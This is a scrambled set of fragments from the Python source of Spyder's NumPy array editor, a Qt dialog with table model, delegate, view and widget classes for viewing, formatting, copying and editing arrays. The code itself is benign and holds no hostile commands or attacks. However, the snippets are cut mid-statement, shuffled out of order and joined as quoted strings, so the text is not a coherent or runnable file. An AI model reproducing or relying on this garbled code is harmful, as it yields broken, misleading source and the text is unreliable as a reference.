ArrayView(QTableView): \"\"\"Array view", "'%.6g', 'float128': '%.6g', 'csingle': '%r', 'complex_': '%r', 'clongfloat': '%r', 'complex64':", "array\")) return contents = output.getvalue().decode('utf-8') output.close() return contents @Slot() def", "ima from spyder.utils.qthelpers import add_actions, create_action, keybinding # Note: string", "role=Qt.EditRole): \"\"\"Cell content change\"\"\" if not index.isValid() or self.readonly: return", "for details) \"\"\" NumPy Array Editor Dialog based on Qt", "a number kind\"\"\" return is_float(dtype) or ('int' in dtype.name) or", "value == self.verticalScrollBar().maximum(): old_rows_loaded = self.model().rows_loaded self.model().fetch_more(rows=rows) if columns and", "-*- # # Copyright © Spyder Project Contributors # Licensed", "row_max, col_min, col_max = get_idx_rect(cell_range) if col_min == 0 and", "are applied separately\")) label.setToolTip(_(\"For performance reasons, changes applied \"\\ \"to", "self.COLS_TO_LOAD else: if self.total_rows > LARGE_NROWS: self.rows_loaded = self.ROWS_TO_LOAD else:", "val self.dataChanged.emit(index, index) if not is_string(val): if val > self.vmax:", "index.isValid(): return Qt.ItemIsEnabled return Qt.ItemFlags(QAbstractTableModel.flags(self, index)| Qt.ItemIsEditable) def headerData(self, section,", "def get_format(self): \"\"\"Return current format\"\"\" # Avoid accessing the private", "= None # Values for 3d array editor self.dim_indexes =", "editor.setValidator(validator) editor.returnPressed.connect(self.commitAndCloseEditor) return editor def commitAndCloseEditor(self): \"\"\"Commit and close editor\"\"\"", "#============================================================================== class ArrayModel(QAbstractTableModel): \"\"\"Array Editor Table Model\"\"\" ROWS_TO_LOAD = 500", "items_to_fetch = min(reminder, self.ROWS_TO_LOAD) self.beginInsertRows(QModelIndex(), self.rows_loaded, self.rows_loaded + items_to_fetch -", "str) editor.setText(text) #TODO: Implement \"Paste\" (from clipboard) feature class ArrayView(QTableView):", "None: stack_index = self.stack.count() try: self.stack.addWidget(ArrayEditorWidget( self, self.data[tuple(slice_index)])) except IndexError:", "bool(float(value)) except ValueError: val = value.lower() == \"true\" elif dtype.startswith(\"string\")", "is_number(self.dtype): validator = QDoubleValidator(editor) validator.setLocale(QLocale('C')) editor.setValidator(validator) editor.returnPressed.connect(self.commitAndCloseEditor) return editor def", "a NameError while fetching data when closing # See isue", "self.setWindowFlags(Qt.Window) return True @Slot(QModelIndex, QModelIndex) def save_and_close_enable(self, left_top, bottom_right): \"\"\"Handle", "ylabels=ylabels, readonly=readonly, parent=self) self.view = ArrayView(self, self.model, data.dtype, data.shape) btn_layout", "= None if rows and value == self.verticalScrollBar().maximum(): old_rows_loaded =", "'float64': '%.6g', 'float96': '%.6g', 'float128': '%.6g', 'csingle': '%r', 'complex_': '%r',", "self.ylabels if labels is None: return to_qvariant(int(section)) else: return to_qvariant(labels[section])", "else: title = _(\"Array editor\") if readonly: title += '", "index.model() value = model.get_value(index) if model._data.dtype.name == \"bool\": value =", "# disable format button for int type btn.setEnabled(is_float(data.dtype)) btn_layout.addWidget(btn) btn.clicked.connect(self.change_format)", "Qt.BackgroundColorRole and self.bgcolor_enabled \\ and value is not np.ma.masked: try:", "len(ylabels) != self.data.shape[0]: self.error(_(\"The 'ylabels' argument length do no match", "QSpinBox(self, keyboardTracking=False) self.index_spin.valueChanged.connect(self.change_active_widget) # QComboBox names = [str(i) for i", "else: data_index = index slice_index = [slice(None)]*3 slice_index[self.last_dim] = data_index", "library imports from __future__ import print_function # Third party imports", "\" \"number\")) return False if not is_record_array: dtn = data.dtype.name", "data(self, index, role=Qt.DisplayRole): \"\"\"Cell content\"\"\" if not index.isValid(): return to_qvariant()", "QLineEdit.Normal, self.model.get_format()) if valid: format = str(format) try: format %", "set_format(self, format): \"\"\"Change display format\"\"\" self._format = format self.reset() def", "self.resizeColumnsToContents() QApplication.restoreOverrideCursor() def setup_menu(self): \"\"\"Setup context menu\"\"\" self.copy_action = create_action(self,", "QLabel() btn_layout.addWidget(self.shape_label) label = QLabel(_(\"Index:\")) btn_layout.addWidget(label) btn_layout.addWidget(self.index_spin) self.slicing_label = QLabel()", "copy(self): \"\"\"Copy text to clipboard\"\"\" cliptxt = self._sel_to_text( self.selectedIndexes() )", "menu def contextMenuEvent(self, event): \"\"\"Reimplement Qt method\"\"\" self.menu.popup(event.globalPos()) event.accept() def", "return False try: self.test_array[0] = val # will raise an", "editor's analysis thread in Spyder), thus leading to # a", "else: return False if columns: if self.total_cols > self.cols_loaded: return", "self.COLS_TO_LOAD else: self.cols_loaded = self.total_cols def get_format(self): \"\"\"Return current format\"\"\"", "300) # Make the dialog act as a window self.setWindowFlags(Qt.Window)", "_(\"Error\"), _(\"Format (%s) is incorrect\") % format) return self.model.set_format(format) class", "to_text_string(value) else: if value.lower().startswith('e') or value.lower().endswith('e'): return False try: val", "real part if data.dtype in (np.complex64, np.complex128): self.color_func = np.abs", "hue = (self.hue0 + self.dhue * (float(self.vmax) - self.color_func(value)) /", "1024), self.height()) self.shape = shape self.menu = self.setup_menu() config_shortcut(self.copy, context='variable_explorer',", "editor widget\"\"\" model = index.model() value = model.get_value(index) if model._data.dtype.name", "cliptxt = self._sel_to_text( self.selectedIndexes() ) clipboard = QApplication.clipboard() clipboard.setText(cliptxt) class", "\"Float formatting\"), QLineEdit.Normal, self.model.get_format()) if valid: format = str(format) try:", "or data.ndim == 3: if is_record_array: btn_layout.addWidget(QLabel(_(\"Record array fields:\"))) names", "= val # will raise an Exception eventually except OverflowError", "= QPushButton(_( \"Format\")) # disable format button for int type", "active axis the array editor is plotting over in 3D", "(QAbstractTableModel, QItemSelection, QLocale, QItemSelectionRange, QModelIndex, Qt, Slot) from qtpy.QtGui import", "btn_layout.addWidget(self.btn_close) self.layout.addLayout(btn_layout, 2, 0) self.setMinimumSize(400, 300) # Make the dialog", "= _(\"%s arrays\") % data.dtype.name self.error(_(\"%s are currently not supported\")", "self.hue0 = None self.dhue = None self.bgcolor_enabled = False #", "self.shape_label = QLabel() btn_layout.addWidget(self.shape_label) label = QLabel(_(\"Index:\")) btn_layout.addWidget(label) btn_layout.addWidget(self.index_spin) self.slicing_label", "# It is import to avoid accessing Qt C++ object", "[] for name in data.dtype.names: field = data.dtype.fields[name] text =", "PY3, to_binary_string, to_text_string) from spyder.utils import icon_manager as ima from", "elif data.ndim == 3: pass else: self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels,", "editor, index): \"\"\"Set editor widget's data\"\"\" text = from_qvariant(index.model().data(index, Qt.DisplayRole),", "(' + _('read only') + ')' self.setWindowTitle(title) self.resize(600, 500) #", "\", \".join(string_index) + \"]\") % index) if index < 0:", "rows and value == self.verticalScrollBar().maximum(): old_rows_loaded = self.model().rows_loaded self.model().fetch_more(rows=rows) if", "the dialog box\"\"\" QMessageBox.critical(self, _(\"Array editor\"), message) self.setAttribute(Qt.WA_DeleteOnClose) self.reject() @Slot()", "'bytes8': '%s', 'short': '%d', 'intc': '%d', 'int_': '%d', 'longlong': '%d',", "ra_combo.currentIndexChanged.connect(self.current_dim_changed) # Adding the widgets to layout label = QLabel(_(\"Axis:\"))", "configuration btn_layout = QHBoxLayout() if is_record_array or is_masked_array or data.ndim", "in data.dtype.names: self.stack.addWidget(ArrayEditorWidget(self, data[name], readonly, xlabels, ylabels)) elif is_masked_array: self.stack.addWidget(ArrayEditorWidget(self,", "self.stack.addWidget(ArrayEditorWidget( self, self.data[tuple(slice_index)])) except IndexError: # Handle arrays of size", "self.rows_loaded + items_to_fetch - 1) self.rows_loaded += items_to_fetch self.endInsertRows() if", "def setData(self, index, value, role=Qt.EditRole): \"\"\"Cell content change\"\"\" if not", "and value == self.horizontalScrollBar().maximum(): old_cols_loaded = self.model().cols_loaded self.model().fetch_more(columns=columns) if old_rows_loaded", "editor = QLineEdit(parent) editor.setFont(get_font(font_size_delta=DEFAULT_SMALL_DELTA)) editor.setAlignment(Qt.AlignCenter) if is_number(self.dtype): validator = QDoubleValidator(editor)", "and top == 0 and bottom == (old_rows_loaded-1)): # complete", "(self.hue0 + self.dhue * (float(self.vmax) - self.color_func(value)) / (float(self.vmax) -", "Spyder Project Contributors # Licensed under the terms of the", "only') + ')' self.setWindowTitle(title) self.resize(600, 500) # Stack widget self.stack", "ra_combo = QComboBox(self) ra_combo.currentIndexChanged.connect(self.stack.setCurrentIndex) ra_combo.addItems(names) btn_layout.addWidget(ra_combo) if is_masked_array: label =", "'.join(string_size) + ') ') % self.data.shape) if self.index_spin.value() != 0:", "('long' in dtype.name) \\ or ('short' in dtype.name) def get_idx_rect(index_list):", "QSpinBox self.index_spin = QSpinBox(self, keyboardTracking=False) self.index_spin.valueChanged.connect(self.change_active_widget) # QComboBox names =", "(self.model().rows_loaded-1): row_max = self.model().total_rows-1 _data = self.model().get_data() if PY3: output", "more than 3 dimensions are not \" \"supported\")) return False", "Copyright © Spyder Project Contributors # Licensed under the terms", "\"Error\", \"Overflow error: %s\" % str(e)) return False # Add", "= shape self.menu = self.setup_menu() config_shortcut(self.copy, context='variable_explorer', name='copy', parent=self) self.horizontalScrollBar().valueChanged.connect(", "Saturation self.val = 1. # Value self.alp = .6 #", "index): self.arraywidget = self.stack.widget(index) self.arraywidget.model.dataChanged.connect(self.save_and_close_enable) def change_active_widget(self, index): \"\"\" This", "def setup_menu(self): \"\"\"Setup context menu\"\"\" self.copy_action = create_action(self, _('Copy'), shortcut=keybinding('Copy'),", "self.btn_save_and_close.setAutoDefault(True) self.btn_save_and_close.setDefault(True) def current_widget_changed(self, index): self.arraywidget = self.stack.widget(index) self.arraywidget.model.dataChanged.connect(self.save_and_close_enable) def", "'intc': '%d', 'int_': '%d', 'longlong': '%d', 'intp': '%d', 'int8': '%d',", "= True return repr(value) elif role == Qt.TextAlignmentRole: return to_qvariant(int(Qt.AlignCenter|Qt.AlignVCenter))", "if event == QKeySequence.Copy: self.copy() else: QTableView.keyPressEvent(self, event) def _sel_to_text(self,", "[_('Masked data'), _('Data'), _('Mask')] if data.ndim == 3: # QSpinBox", "column selected (so expand it to match # updated range)", "'bool8': '%r', 'bool': '%r', } LARGE_SIZE = 5e5 LARGE_NROWS =", "= None self.bgcolor_enabled = False # Use paging when the", "= QLabel(_(\"Axis:\")) btn_layout.addWidget(label) btn_layout.addWidget(ra_combo) self.shape_label = QLabel() btn_layout.addWidget(self.shape_label) label =", "imports from spyder.config.base import _ from spyder.config.fonts import DEFAULT_SMALL_DELTA from", "generated by a bug in sip. try: self.commitData.emit(editor) except AttributeError:", "return to_qvariant(self._format % value) except TypeError: self.readonly = True return", "!= Qt.DisplayRole: return to_qvariant() labels = self.xlabels if orientation ==", "if value.lower().startswith('e') or value.lower().endswith('e'): return False try: val = complex(value)", "= (self.hue0 + self.dhue * (float(self.vmax) - self.color_func(value)) / (float(self.vmax)", "editor.setAlignment(Qt.AlignCenter) if is_number(self.dtype): validator = QDoubleValidator(editor) validator.setLocale(QLocale('C')) editor.setValidator(validator) editor.returnPressed.connect(self.commitAndCloseEditor) return", "imports from __future__ import print_function # Third party imports from", "items_to_fetch self.endInsertColumns() def bgcolor(self, state): \"\"\"Toggle backgroundcolor\"\"\" self.bgcolor_enabled = state", "dtype, shape): QTableView.__init__(self, parent) self.setModel(model) self.setItemDelegate(ArrayDelegate(dtype, self)) total_width = 0", "spyder: test-skip QMessageBox.critical(self.dialog, \"Error\", \"Overflow error: %s\" % str(e)) return", "to handle a NameError while fetching data when closing #", "== 3: pass else: self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels, ylabels)) self.arraywidget", "PY3: output = io.BytesIO() else: output = io.StringIO() try: np.savetxt(output,", "behavior as slicing \"\"\" string_index = [':']*3 string_index[self.last_dim] = '<font", "value = to_text_string(value, 'utf8') except: pass if role == Qt.DisplayRole:", "launched self.current_dim_changed(self.last_dim) else: ra_combo = QComboBox(self) ra_combo.currentIndexChanged.connect(self.stack.setCurrentIndex) ra_combo.addItems(names) btn_layout.addWidget(ra_combo) if", "def __init__(self, parent=None): QDialog.__init__(self, parent) # Destroying the C++ object", "def createEditor(self, parent, option, index): \"\"\"Create editor widget\"\"\" model =", "if val > self.vmax: self.vmax = val if val <", "\"]\") % index) if index < 0: data_index = self.data.shape[self.last_dim]", "dtype.name) \\ or ('short' in dtype.name) def get_idx_rect(index_list): \"\"\"Extract the", "return self.model.set_format(format) class ArrayEditor(QDialog): \"\"\"Array Editor Dialog\"\"\" def __init__(self, parent=None):", "to_qvariant(labels[section]) def reset(self): self.beginResetModel() self.endResetModel() class ArrayDelegate(QItemDelegate): \"\"\"Array Editor Item", "will raise an Exception eventually except OverflowError as e: print(\"OverflowError:", "it to match updated # range) right = self.model().cols_loaded-1 top_left", "for complex numbers, shading will be based on absolute value", "False def fetch_more(self, rows=False, columns=False): if self.can_fetch_more(rows=rows): reminder = self.total_rows", "_('Mask')] if data.ndim == 3: # QSpinBox self.index_spin = QSpinBox(self,", "sip. try: self.commitData.emit(editor) except AttributeError: pass self.closeEditor.emit(editor, QAbstractItemDelegate.NoHint) def setEditorData(self,", "not None is_masked_array = isinstance(data, np.ma.MaskedArray) if data.ndim > 3:", "'+title names.append(text) else: names = [_('Masked data'), _('Data'), _('Mask')] if", "not is_text_string(title): title = repr(title) text += ' - '+title", "# range) right = self.model().cols_loaded-1 top_left = self.model().index(top, left) bottom_right", "field = data.dtype.fields[name] text = name if len(field) >= 3:", "Dialog based on Qt \"\"\" # pylint: disable=C0103 # pylint:", "def __init__(self, parent, model, dtype, shape): QTableView.__init__(self, parent) self.setModel(model) self.setItemDelegate(ArrayDelegate(dtype,", "def change_format(self): \"\"\"Change display format\"\"\" format, valid = QInputDialog.getText(self, _(", "and row_max == (self.model().rows_loaded-1): row_max = self.model().total_rows-1 _data = self.model().get_data()", "\"\"\"Return True is datatype dtype is a number kind\"\"\" return", "= self.ROWS_TO_LOAD else: self.rows_loaded = self.total_rows if self.total_cols > LARGE_COLS:", "= value if self.old_data_shape is not None: self.data.shape = self.old_data_shape", "not is_string(val): if val > self.vmax: self.vmax = val if", "# Local imports from spyder.config.base import _ from spyder.config.fonts import", "is np.ma.masked: return '' else: try: return to_qvariant(self._format % value)", "bgcolor = QCheckBox(_( 'Background color')) bgcolor.setChecked(self.model.bgcolor_enabled) bgcolor.setEnabled(self.model.bgcolor_enabled) bgcolor.stateChanged.connect(self.model.bgcolor) btn_layout.addWidget(bgcolor) layout", "self.dim_indexes[self.last_dim][data_index] = stack_index self.stack.update() self.stack.setCurrentIndex(stack_index) def current_dim_changed(self, index): \"\"\" This", "\"\"\" # pylint: disable=C0103 # pylint: disable=R0903 # pylint: disable=R0911", "QApplication.restoreOverrideCursor() def setup_menu(self): \"\"\"Setup context menu\"\"\" self.copy_action = create_action(self, _('Copy'),", "= data.dtype.fields[name] text = name if len(field) >= 3: title", "on absolute value # but for all other types it", "self.data.shape self.data.shape = (self.data.shape[0], 1) elif len(self.data.shape) == 0: self.old_data_shape", "self.model().fetch_more(columns=columns) if old_rows_loaded is not None or old_cols_loaded is not", "else self.ylabels if labels is None: return to_qvariant(int(section)) else: return", "% str(e)) return False # Add change to self.changes self.changes[(i,", "rows: if self.total_rows > self.rows_loaded: return True else: return False", "possible to # select only the first part of a", "= self.setup_menu() config_shortcut(self.copy, context='variable_explorer', name='copy', parent=self) self.horizontalScrollBar().valueChanged.connect( lambda val: self.load_more_data(val,", "window self.setWindowFlags(Qt.Window) return True @Slot(QModelIndex, QModelIndex) def save_and_close_enable(self, left_top, bottom_right):", "text += ' - '+title names.append(text) else: names = [_('Masked", "type btn.setEnabled(is_float(data.dtype)) btn_layout.addWidget(btn) btn.clicked.connect(self.change_format) btn = QPushButton(_( \"Resize\")) btn_layout.addWidget(btn) btn.clicked.connect(self.view.resize_to_contents)", "isn't possible to # select only the first part of", "not emit # currentIndexChanged(int) self.change_active_widget(0) self.index_spin.setRange(-self.data.shape[index], self.data.shape[index]-1) @Slot() def accept(self):", "1: self.old_data_shape = self.data.shape self.data.shape = (self.data.shape[0], 1) elif len(self.data.shape)", "self.btn_save_and_close.setEnabled(True) self.btn_save_and_close.setAutoDefault(True) self.btn_save_and_close.setDefault(True) def current_widget_changed(self, index): self.arraywidget = self.stack.widget(index) self.arraywidget.model.dataChanged.connect(self.save_and_close_enable)", "QGridLayout, QHBoxLayout, QInputDialog, QItemDelegate, QLabel, QLineEdit, QMenu, QMessageBox, QPushButton, QSpinBox,", "not index.isValid() or self.readonly: return False i = index.row() j", "from_qvariant(value, str) dtype = self._data.dtype.name if dtype == \"bool\": try:", "cell_range): \"\"\"Copy an array portion to a unicode string\"\"\" if", "names.append(text) else: names = [_('Masked data'), _('Data'), _('Mask')] if data.ndim", "masked array won't be reflected in \"\\ \"array's data (and", "parent=None): QDialog.__init__(self, parent) # Destroying the C++ object right after", "val = to_text_string(value) else: if value.lower().startswith('e') or value.lower().endswith('e'): return False", "seems generated by a bug in sip. try: self.commitData.emit(editor) except", "rows=False, columns=False): if rows: if self.total_rows > self.rows_loaded: return True", "self.old_data_shape is not None: self.data.shape = self.old_data_shape def change_format(self): \"\"\"Change", "- \" + _(\"NumPy array\") else: title = _(\"Array editor\")", "LARGE_SIZE = 5e5 LARGE_NROWS = 1e5 LARGE_COLS = 60 #==============================================================================", "'%d', 'int_': '%d', 'longlong': '%d', 'intp': '%d', 'int8': '%d', 'int16':", "qindex=QModelIndex()): \"\"\"Array column number\"\"\" if self.total_cols <= self.cols_loaded: return self.total_cols", "def bgcolor(self, state): \"\"\"Toggle backgroundcolor\"\"\" self.bgcolor_enabled = state > 0", "(new_selection, self.selectionModel().ClearAndSelect) except NameError: # Needed to handle a NameError", "text to clipboard\"\"\" cliptxt = self._sel_to_text( self.selectedIndexes() ) clipboard =", "with PyQt5. Variable value won't be changed # but at", "label.setToolTip(_(\"For performance reasons, changes applied \"\\ \"to masked array won't", "ROWS_TO_LOAD = 500 COLS_TO_LOAD = 40 def __init__(self, data, format=\"%.6g\",", "val = complex(value) if not val.imag: val = val.real except", "model._data.dtype.name == \"bool\": value = not value model.setData(index, to_qvariant(value)) return", "if data.ndim == 3: # QSpinBox self.index_spin = QSpinBox(self, keyboardTracking=False)", "500) # Stack widget self.stack = QStackedWidget(self) if is_record_array: for", "xlabels self.ylabels = ylabels self.readonly = readonly self.test_array = np.array([0],", "# See isue 7880 pass def resize_to_contents(self): \"\"\"Resize cells to", "change\"\"\" if not index.isValid() or self.readonly: return False i =", "shortcut=keybinding('Copy'), icon=ima.icon('editcopy'), triggered=self.copy, context=Qt.WidgetShortcut) menu = QMenu(self) add_actions(menu, [self.copy_action, ])", "this is *not* a copy\"\"\" # It is import to", "in index_list])) return ( min(rows), max(rows), min(cols), max(cols) ) #==============================================================================", "+ \", \".join(string_index) + \"]\") % index) if index <", "isue 7880 pass def resize_to_contents(self): \"\"\"Resize cells to contents\"\"\" QApplication.setOverrideCursor(QCursor(Qt.WaitCursor))", "Qt.DisplayRole), str) editor.setText(text) #TODO: Implement \"Paste\" (from clipboard) feature class", "self.menu = self.setup_menu() config_shortcut(self.copy, context='variable_explorer', name='copy', parent=self) self.horizontalScrollBar().valueChanged.connect( lambda val:", "array row \" \"number\")) return False if not is_record_array: dtn", "self.arraywidget.model.dataChanged.connect( self.save_and_close_enable) self.stack.currentChanged.connect(self.current_widget_changed) self.layout.addWidget(self.stack, 1, 0) # Buttons configuration btn_layout", "an Exception eventually except OverflowError as e: print(\"OverflowError: \" +", "self.model().index(bottom, right) part = QItemSelectionRange(top_left, bottom_right) new_selection.append(part) self.selectionModel().select (new_selection, self.selectionModel().ClearAndSelect)", "# # Copyright © Spyder Project Contributors # Licensed under", "if size > LARGE_SIZE: self.rows_loaded = self.ROWS_TO_LOAD self.cols_loaded = self.COLS_TO_LOAD", "right = self.model().cols_loaded-1 top_left = self.model().index(top, left) bottom_right = self.model().index(bottom,", "implemented for handling negative values in index for 3d arrays,", "it will be the real part if data.dtype in (np.complex64,", "value = self.get_value(index) if is_binary_string(value): try: value = to_text_string(value, 'utf8')", "# updated range) bottom = self.model().rows_loaded-1 left = part.left() right", "import from_qvariant, to_qvariant from qtpy.QtCore import (QAbstractTableModel, QItemSelection, QLocale, QItemSelectionRange,", "columns=False): if self.can_fetch_more(rows=rows): reminder = self.total_rows - self.rows_loaded items_to_fetch =", "= index.row() j = index.column() value = from_qvariant(value, str) dtype", "else: output = io.StringIO() try: np.savetxt(output, _data[row_min:row_max+1, col_min:col_max+1], delimiter='\\t', fmt=self.model().get_format())", "try: val = bool(float(value)) except ValueError: val = value.lower() ==", "reject(self): \"\"\"Reimplement Qt method\"\"\" if self.arraywidget is not None: for", "0: self.index_spin.setValue(0) else: # this is done since if the", "try: self.stack.addWidget(ArrayEditorWidget( self, self.data[tuple(slice_index)])) except IndexError: # Handle arrays of", "col_max = get_idx_rect(cell_range) if col_min == 0 and col_max ==", "self.stack.currentWidget() if self.arraywidget: self.arraywidget.model.dataChanged.connect( self.save_and_close_enable) self.stack.currentChanged.connect(self.current_widget_changed) self.layout.addWidget(self.stack, 1, 0) #", "0 in one axis self.stack.addWidget(ArrayEditorWidget(self, self.data)) self.dim_indexes[self.last_dim][data_index] = stack_index self.stack.update()", "QLabel(_(\"<u>Warning</u>: changes are applied separately\")) label.setToolTip(_(\"For performance reasons, changes applied", "crash. It seems generated by a bug in sip. try:", "\\ and value is not np.ma.masked: try: hue = (self.hue0", "value, rows=False, columns=False): try: old_selection = self.selectionModel().selection() old_rows_loaded = old_cols_loaded", "data.dtype.names is not None is_masked_array = isinstance(data, np.ma.MaskedArray) if data.ndim", "disable format button for int type btn.setEnabled(is_float(data.dtype)) btn_layout.addWidget(btn) btn.clicked.connect(self.change_format) btn", "'%s', 'short': '%d', 'intc': '%d', 'int_': '%d', 'longlong': '%d', 'intp':", "close button.\"\"\" if self.btn_save_and_close: self.btn_save_and_close.setEnabled(True) self.btn_save_and_close.setAutoDefault(True) self.btn_save_and_close.setDefault(True) def current_widget_changed(self, index):", "if not readonly: self.btn_save_and_close = QPushButton(_('Save and Close')) self.btn_save_and_close.setDisabled(True) self.btn_save_and_close.clicked.connect(self.accept)", "for (i, j), value in list(self.model.changes.items()): self.data[i, j] = value", "value is np.ma.masked: return '' else: try: return to_qvariant(self._format %", "range) right = self.model().cols_loaded-1 top_left = self.model().index(top, left) bottom_right =", "is not None or old_cols_loaded is not None: # if", "= self.model().total_cols-1 if row_min == 0 and row_max == (self.model().rows_loaded-1):", "None self.layout = None self.btn_save_and_close = None self.btn_close = None", "data, readonly, xlabels, ylabels)) self.arraywidget = self.stack.currentWidget() if self.arraywidget: self.arraywidget.model.dataChanged.connect(", "self.error(_(\"The 'xlabels' argument length do no match array \" \"column", "'float16': '%.6g', 'float32': '%.6g', 'float64': '%.6g', 'float96': '%.6g', 'float128': '%.6g',", "= min(reminder, self.ROWS_TO_LOAD) self.beginInsertRows(QModelIndex(), self.rows_loaded, self.rows_loaded + items_to_fetch - 1)", "SUPPORTED_FORMATS = { 'single': '%.6g', 'double': '%.6g', 'float_': '%.6g', 'longfloat':", "= np.array([0], dtype=data.dtype) # for complex numbers, shading will be", "3: pass else: self.stack.addWidget(ArrayEditorWidget(self, data, readonly, xlabels, ylabels)) self.arraywidget =", "dtype.name) or dtype.name in ['single', 'double'] def is_number(dtype): \"\"\"Return True", "ylabels=None, readonly=False, parent=None): QAbstractTableModel.__init__(self) self.dialog = parent self.changes = {}", "!= self.data.shape[0]: self.error(_(\"The 'ylabels' argument length do no match array", "change event to enable the save and close button.\"\"\" if", "top == 0 and bottom == (old_rows_loaded-1)): # complete column", "0) self.setMinimumSize(400, 300) # Make the dialog act as a", "in list(self.model.changes.items()): self.data[i, j] = value if self.old_data_shape is not", "None is_masked_array = isinstance(data, np.ma.MaskedArray) if data.ndim > 3: self.error(_(\"Arrays", "'%d', 'intc': '%d', 'int_': '%d', 'longlong': '%d', 'intp': '%d', 'int8':", "get_data(self): \"\"\"Return data\"\"\" return self._data def set_format(self, format): \"\"\"Change display", "# Add change to self.changes self.changes[(i, j)] = val self.dataChanged.emit(index,", "value = from_qvariant(value, str) dtype = self._data.dtype.name if dtype ==", "return menu def contextMenuEvent(self, event): \"\"\"Reimplement Qt method\"\"\" self.menu.popup(event.globalPos()) event.accept()", "None: # if we've changed anything, update selection new_selection =", "xlabels=xlabels, ylabels=ylabels, readonly=readonly, parent=self) self.view = ArrayView(self, self.model, data.dtype, data.shape)", "error: %s\" % str(e)) return False # Add change to", "None and len(xlabels) != self.data.shape[1]: self.error(_(\"The 'xlabels' argument length do", "data.ndim > 3: self.error(_(\"Arrays with more than 3 dimensions are", "in \"\\ \"array's data (and vice-versa).\")) btn_layout.addWidget(label) btn_layout.addStretch() if not", "import icon_manager as ima from spyder.utils.qthelpers import add_actions, create_action, keybinding", "self.btn_save_and_close = QPushButton(_('Save and Close')) self.btn_save_and_close.setDisabled(True) self.btn_save_and_close.clicked.connect(self.accept) btn_layout.addWidget(self.btn_save_and_close) self.btn_close =", "dtype == \"bool\": try: val = bool(float(value)) except ValueError: val", "np.nanmax(self.color_func(data)) if self.vmax == self.vmin: self.vmin -= 1 self.hue0 =", "the boundaries from a list of indexes\"\"\" rows, cols =", "self._data.dtype.name if dtype == \"bool\": try: val = bool(float(value)) except", "self.total_cols else: return self.cols_loaded def rowCount(self, qindex=QModelIndex()): \"\"\"Array row number\"\"\"", "range) bottom = self.model().rows_loaded-1 left = part.left() right = part.right()", "for \" \"this array\")) return contents = output.getvalue().decode('utf-8') output.close() return", "+ ', '.join(string_size) + ') ') % self.data.shape) if self.index_spin.value()", "not \" \"supported\")) return False if xlabels is not None", "pylint: disable=C0103 # pylint: disable=R0903 # pylint: disable=R0911 # pylint:", "= self.get_value(index) if is_binary_string(value): try: value = to_text_string(value, 'utf8') except:", "= index slice_index = [slice(None)]*3 slice_index[self.last_dim] = data_index stack_index =", "NumPy Array Editor Dialog based on Qt \"\"\" # pylint:", "self.model.set_format(format) class ArrayEditor(QDialog): \"\"\"Array Editor Dialog\"\"\" def __init__(self, parent=None): QDialog.__init__(self,", "# we've selected a whole column. It isn't possible to", "QHBoxLayout() if is_record_array or is_masked_array or data.ndim == 3: if", "or dtype.startswith(\"bytes\"): val = to_binary_string(value, 'utf8') elif dtype.startswith(\"unicode\") or dtype.startswith(\"str\"):", "QColor.fromHsvF(hue, self.sat, self.val, self.alp) return to_qvariant(color) except TypeError: return to_qvariant()", "3D \"\"\" self.last_dim = index string_size = ['%i']*3 string_size[index] =", "= self.selectionModel().selection() old_rows_loaded = old_cols_loaded = None if rows and", "if (old_rows_loaded is not None and top == 0 and", "== self.horizontalScrollBar().maximum(): old_cols_loaded = self.model().cols_loaded self.model().fetch_more(columns=columns) if old_rows_loaded is not", "Qt.ItemIsEditable) def headerData(self, section, orientation, role=Qt.DisplayRole): \"\"\"Set header data\"\"\" if", "editor\"\"\" editor = self.sender() # Avoid a segfault with PyQt5.", "\"\"\"Reimplement Qt method\"\"\" self.menu.popup(event.globalPos()) event.accept() def keyPressEvent(self, event): \"\"\"Reimplement Qt", "for name in data.dtype.names: field = data.dtype.fields[name] text = name", "self.stack.update() self.stack.setCurrentIndex(stack_index) def current_dim_changed(self, index): \"\"\" This change the active", "to the Qt.WA_DeleteOnClose attribute return self.data def error(self, message): \"\"\"An", "NameError: # Needed to handle a NameError while fetching data", "match updated # range) right = self.model().cols_loaded-1 top_left = self.model().index(top,", "\"\"\" self.data = data readonly = readonly or not self.data.flags.writeable", "self.total_rows else: return self.rows_loaded def can_fetch_more(self, rows=False, columns=False): if rows:", "j = index.column() if len(self._data.shape) == 1: value = self._data[j]", "is_text_string, PY3, to_binary_string, to_text_string) from spyder.utils import icon_manager as ima", "keyboardTracking=False) self.index_spin.valueChanged.connect(self.change_active_widget) # QComboBox names = [str(i) for i in", "= QApplication.clipboard() clipboard.setText(cliptxt) class ArrayEditorWidget(QWidget): def __init__(self, parent, data, readonly=False,", "Hue self.sat = .7 # Saturation self.val = 1. #", "'int16': '%d', 'int32': '%d', 'int64': '%d', 'ubyte': '%d', 'ushort': '%d',", "if col_min == 0 and col_max == (self.model().cols_loaded-1): # we've", "QVBoxLayout, QWidget) import numpy as np # Local imports from", "j), value) def data(self, index, role=Qt.DisplayRole): \"\"\"Cell content\"\"\" if not", "string_size[index] = '<font color=red>%i</font>' self.shape_label.setText(('Shape: (' + ', '.join(string_size) +", "\"\"\"Reimplement Qt method\"\"\" if self.arraywidget is not None: for index", "btn = QPushButton(_( \"Resize\")) btn_layout.addWidget(btn) btn.clicked.connect(self.view.resize_to_contents) bgcolor = QCheckBox(_( 'Background", "+= self.columnWidth(k) self.viewport().resize(min(total_width, 1024), self.height()) self.shape = shape self.menu =", "may be garbage-collected in another QThread # (e.g. the editor's", "top = part.top() bottom = part.bottom() if (old_rows_loaded is not", "label = QLabel(_(\"Axis:\")) btn_layout.addWidget(label) btn_layout.addWidget(ra_combo) self.shape_label = QLabel() btn_layout.addWidget(self.shape_label) label", "Close')) self.btn_save_and_close.setDisabled(True) self.btn_save_and_close.clicked.connect(self.accept) btn_layout.addWidget(self.btn_save_and_close) self.btn_close = QPushButton(_('Close')) self.btn_close.setAutoDefault(True) self.btn_close.setDefault(True) self.btn_close.clicked.connect(self.reject)", "QItemSelectionRange, QModelIndex, Qt, Slot) from qtpy.QtGui import QColor, QCursor, QDoubleValidator,", "-- this is *not* a copy\"\"\" # It is import", "['%i']*3 string_size[index] = '<font color=red>%i</font>' self.shape_label.setText(('Shape: (' + ', '.join(string_size)", "current_widget_changed(self, index): self.arraywidget = self.stack.widget(index) self.arraywidget.model.dataChanged.connect(self.save_and_close_enable) def change_active_widget(self, index): \"\"\"", "self.viewport().resize(min(total_width, 1024), self.height()) self.shape = shape self.menu = self.setup_menu() config_shortcut(self.copy,", "float(np.abs(hue)) color = 